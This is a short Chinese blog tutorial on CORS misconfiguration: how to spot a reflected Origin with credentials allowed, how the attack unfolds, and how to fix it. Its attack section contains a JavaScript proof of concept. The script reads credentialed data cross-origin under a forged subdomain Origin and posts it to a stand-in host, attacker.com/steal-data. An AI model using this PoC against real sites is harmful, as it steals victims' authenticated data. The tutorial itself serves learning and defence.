浅谈cors漏洞

图片参考文章:浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)

背景

由于同源长策略 一些网站要实现跨域来共享资源的话

需要通过设置cors

如果cors配置不当(检验不严格 只是简单校验是否包含该域名)

就可能存在该漏洞

漏洞发现

origin 是源的意思 如果可控 并且返回包会出现以下两个字段

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials: true

攻击流程

创建恶意poc

攻击者创建恶意网页并使用JavaScript构造跨域请求的poc(一般是获取敏感信息)

如果cors需要绕过的话(子域名接管绕过)还要在poc设置Origin头为服务器信任的域或子域

<!DOCTYPE html>
  <html lang="en">
  <head>
  <meta charset="UTF-8">
  <title>Subdomain Takeover CORS PoC</title>
  </head>
  <body>
  <script>
  // 构造跨域请求,设置Origin为已接管的子域名
  fetch("https://vulnerable.com/sensitive-data", {
    method: "GET",
    headers: {
      "Origin": "https://evil.trusted.com"  // 设置伪造的Origin头
    },
    credentials: "include"  // 包含用户的认证信息(如cookies)
  })
  .then(response => response.text())
  .then(data => {
    // 将返回的数据显示或发送到攻击者控制的服务器
    console.log(data); // 在控制台显示敏感信息
    // 例如:将数据发送到攻击者的服务器
    fetch("https://attacker.com/steal-data", {
      method: "POST",
      body: data,
      headers: {
        "Content-Type": "application/x-www-form-urlencoded"
      }
    });
  })
  .catch(error => console.error("CORS request failed:", error));
</script>
  </body>
  </html>

诱使受害者点击

诱骗受害者访问该恶意网页

  • 将恶意网页托管在你的服务器上,并诱骗受害者访问该网页。
  • 受害者浏览器会在访问恶意网页时自动发起跨域请求,携带认证信息(如cookies)向目标网站发送请求。

攻击者获取数据

然后将获取的数据显发送回攻击者控制的服务器

  • 当目标服务器返回响应数据时,浏览器会根据CORS头判断是否允许访问数据。
  • 如果服务器误信任了恶意Origin,浏览器将允许JavaScript访问响应数据。
  • 将获取的数据显示在控制台、存储在本地,或发送回攻击者控制的服务器

漏洞修复

  • 限制Access-Control-Allow-Origin:

    • 不使用*通配符。
    • 只允许特定的可信任域名(如https://trusted.com)。
  • 控制Access-Control-Allow-Credentials:

    • 仅在必要时使用Access-Control-Allow-Credentials: true
    • 确保与明确的Origin配对使用,避免与*一起使用。
  • 限制HTTP方法和头部:

    • 通过Access-Control-Allow-Methods只允许需要的HTTP方法(如GET, POST)。
    • 通过Access-Control-Allow-Headers限制允许的请求头。
  • 服务器端验证Origin:

    • 在服务器端检查Origin,确保只有可信来源被允许。
  • 限制Access-Control-Max-Age:

    • 限制预检请求的缓存时间,避免过长时间的策略缓存。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值